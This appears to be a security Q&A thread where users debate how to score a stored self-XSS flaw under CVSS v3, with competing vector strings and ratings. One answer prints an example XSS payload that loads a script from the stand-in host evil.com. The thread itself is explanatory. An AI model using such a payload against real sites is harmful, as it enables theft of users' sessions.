3

I have a web application which is vulnerable to stored, self-XSS attack. Proper encoding is not done In the place where the data from a database (set by the same user) is added to response.

However, this XSS can be considered as not self-XSS (stored XSS) in following conditions:

  • Admin user adds malicious content into the user’s profile.
  • If someone can do a change in the database in another way.
  • Also if someone can steal the cookies of a user (session hijacking).

When calculating the CVSS score we have the following concerns:

  • Do we need to assume that the malicious data is already stored in the database, or not?
  • If we assume so, the CVSS score will increase, since the complexity of getting the XSS payload into the database is not considered.
  • If not, due to the complexity as well as high-privileges required in performing a stored XSS attack (without just being a self-XSS), the CVSS score will decrease.

What is the common practice for this kind of scenario when calculating the CVSS score?

NShani
  • 31
  • 1
  • 6
  • BTW, you probably want to start a separate discussion — independent from CVSS ratings — on the merits and disadvantages of output escaping for trusted values. I mean it is generally a good idea to have output escaping and possibly sanitisation build into your presentation framework, but sometimes if you want to display ritch text, you might need to compromise on this. It looks to me that this CVSS discussion just tries to deflect from the fact that it is best practice to do so, anyway. – eckes Aug 24 '19 at 19:43

3 Answers3

3

In these two scenarios:

  • If someone can do a change in the database in another way.
  • Also if someone can steal the cookies of a user (session hijacking).

An attacker would already have access the user's session. They would need to exploit a vulnerability to get to that point, but at this point the session is already compromised, so the additional impact is none.

This scenario:

  • Admin user adds malicious content into the user’s profile.

Depends a bit on the system design, but most systems allow admins to have access to users profiles, for example by doing a password reset. So in most systems, the additional impact here is none.

If you use a CVSS v3 calculator, and set the CIA impacts all to none, it doesn't matter how you set the other values, the output is 0.0. This is why self-XSS is usually regarded as matter of best practice only and not a vulnerability.

One thing to be aware of is CSRF. If the self-XSS injection point is vulnerable to CSRF then this is a vulnerability.

paj28
  • 32,736
  • 8
  • 92
  • 130
  • Hi, I'm not quite clear about the answer, whether when calculating the CVSS score do we need to base on other vulnerabilities? Or else consider only the current self-XSS issue? – NShani Jun 06 '19 at 09:43
  • 1
    @NShani - If there are other vulnerabilities that can combine with self-XSS then it does make sense to consider the chain, and you can calculate the CVSS for the chain of vulnerabilities. However, I would normally only do this for actual vulnerabilities, not potential vulnerabilities that may exist in future. – paj28 Jun 06 '19 at 21:14
1

The question actually contains two scenarios: A low-privilege user XSS'ing themselves, and a high-privilege user XSS'ing a low-privilege user.

Low-Privilege "self-XSS"

Self-XSS is often seen as "not an issue", although this is short-sighted. While it may not obviously be an issue, you never know if requirements change.

For instance, if the user can create an XSS on their own profile, which is only visible to them, you might think it's not an issue. A year later, functionality is implemented that allows admins to view a profile, and suddenly you have an XSS that steals session tokens from admin accounts.

In order to rate the CVSS score, let's analyze each category:

  • Attack Vector (AV): This is undoubtedly "Network (N)". The attacker does not need to have direct server access to do it.
  • Attack Complexity (AC): This depends on your specific scenario, but usually the complexity is rather low. To quote:

    Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success against the vulnerable component.

    In other words, if the attacker enters "><script src="//evil.com/payload.js, then the payload will get injected every single time.

  • Privileges Required (PR): This part is frequently debated. If an attacker needs a user account, but all they need to do to get a user account is to create one, then does that really lower the metric? Some people say that PR describes the privileges they need to obtain from the defender, either by stealing credentials or by exploiting a vulnerability to execute actions as a privileged user. Others say that it's only about the fact that a user needs privileges, regardless whether or not these privileges are easy to obtain.

    I personally belong to the former category, so I would rate this as "None (N)", although I understand people who argue this as "Low (L)". Note that I created a question on this topic as well.

  • User Interaction (UI): Yes, the admin needs to visit the profile of the attacker in order for the attack to be successful.

  • Scope (S): In this case, the scope changed, as the vulnerable component is the web server, while the impacted component is the victim's browser. This reasoning is taken from the CVSS v3.0 Example.

  • Confidentiality (C): Again, this depends on how you see it. I personally would argue that the loss of confidentiality is "High (H)", as gaining access to an admin's session token is quite a serious breach.

  • Integrity (I): I personally would argue that the impact is "Low (L)". While the attacker can indeed use their payload to modify the site, this is usually not the goal of an XSS attack.

  • Availability (A): Again, I would argue to set this to "Low (L)". An attacker could craft a payload that would just keep redirecting the user away from the site, thus affecting availability, but this is usually not the goal.

If we add all of this together, we get the following vector string:

CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:L - 8.8 (High)

High-Privilege XSS

Instead of assuming that a user would "trap" their own profile, let's instead assume that an admin would modify the profiles of every user, thus if any user would look at their own profile, the payload would trigger.

The only thing that really would change is Privileges Required (PR), which would be set to "High (H)".

This would result in the following vector:

CVSS:3.0/AV:N/AC:L/PR:H/UI:R/S:C/C:H/I:L/A:L - 7.5 (High)

By looking at these results, you can see that CVSS does not take likelihoods into consideration, which some might consider a flaw, but this is out-of-scope for this question.


Now to answer some of your questions:

  • Do we need to assume that the malicious data is already stored in the database, or not?

    CVSS does not ask you where data is stored. This has no bearing on the score.

  • If we assume so, the CVSS score will increase, since the complexity of getting the XSS payload into the database is not considered.

    Again, the score depends on the chosen vectors. None of these are regarding where the data is stored.

  • If not, due to the complexity as well as high-privileges required in performing a stored XSS attack (without just being a self-XSS), the CVSS score will decrease.

    High required privileges will decrease your score, but not by that much. Even when an administrative account is required, a simple XSS vulnerability is considered a 7.5.

  • Hi, I'm not going to downvote as your answer is considered, but I completely disagree with it. In particular, impacts should be specifically about the impact due to the vulnerability being assessed, and not about the general sensitivity of the data that the system handles. – paj28 May 27 '19 at 13:25
  • @paj28 Yes, I agree. That's why gave examples. Could you please highlight any specific statements you disagree with? –  May 27 '19 at 13:32
  • Please consult my answer. I disagree with many parts. The low to high vuln was not in the question. In the high to low you basically say "this is same as low to high and the impact is loss of admin's session token" I disagree with so much there it's difficult to label precise statements. OP's question was about self-XSS not loss of admin session token. – paj28 May 27 '19 at 13:48
  • And I explained in detail that, while *at the moment* it might seem irrelevant, it might be that in the future additional functionality is added that would turn a self-XSS into a regular XSS. –  May 27 '19 at 13:50
  • CVSS is for assessing vulnerabilities that exist now, not theoretical ones. As you've shown no interest in improving your answer I'm going to downvote now. – paj28 May 27 '19 at 13:51
  • If you can assert that a vulnerability will never be a problem, then yes, the impact is zero. I believe that this way of thinking will lead to unpatched vulnerabilities, and problems down the line. Feel free to downvote though if you believe that this answer is flat-out wrong or otherwise adds no value. –  May 27 '19 at 13:56
1

• Admin user adds malicious content into the user’s profile.

Depending on the already existing power an admin user has adding a XSS gadget might not gain them more privileges, so integrity and confidentiality is low at best.

• If someone can do a change in the database in another way.

Thats similar or even more extreme, the person who can alter the database usually has all privileges already.

• Also if someone can steal the cookies of a user (session hijacking).

It’s an confidentiality and (if exploitable) also integrity risk. However it depends on who the someone is and what priveledges they had (I.e. different from the two groups above).

Typically the most critical situation for persisted XSS is if a normal user can trick an admin to visit the malicious content thereby extracting (and using) an admin session. The second most severity is when one use can hijack another unprivileged user in this way. While it is common to ignore admins (after they can directly edit the HTML) it depends on the priveledges you want to grant them. Self-XSS can also be an issue if you can (CSRF) trick the user into adding the malicious payload (which is common for reflected XSS).

• Do we need to assume that the malicious data is already stored in the database, or not?

Generally you assume the damage is done yes, however in your specific case (admin or dba) you might not consider this a elevation of priveledges at all.

• If we assume so, the CVSS score will increase, since the complexity of getting the XSS payload into the database is not considered.

The attack is getting the content there, this is what the complexity describes. It would be low for an admin or dba if they just have to type it (knowledge about dB structure has to be assumed as given according to CVSS spec).

eckes
  • 962
  • 8
  • 19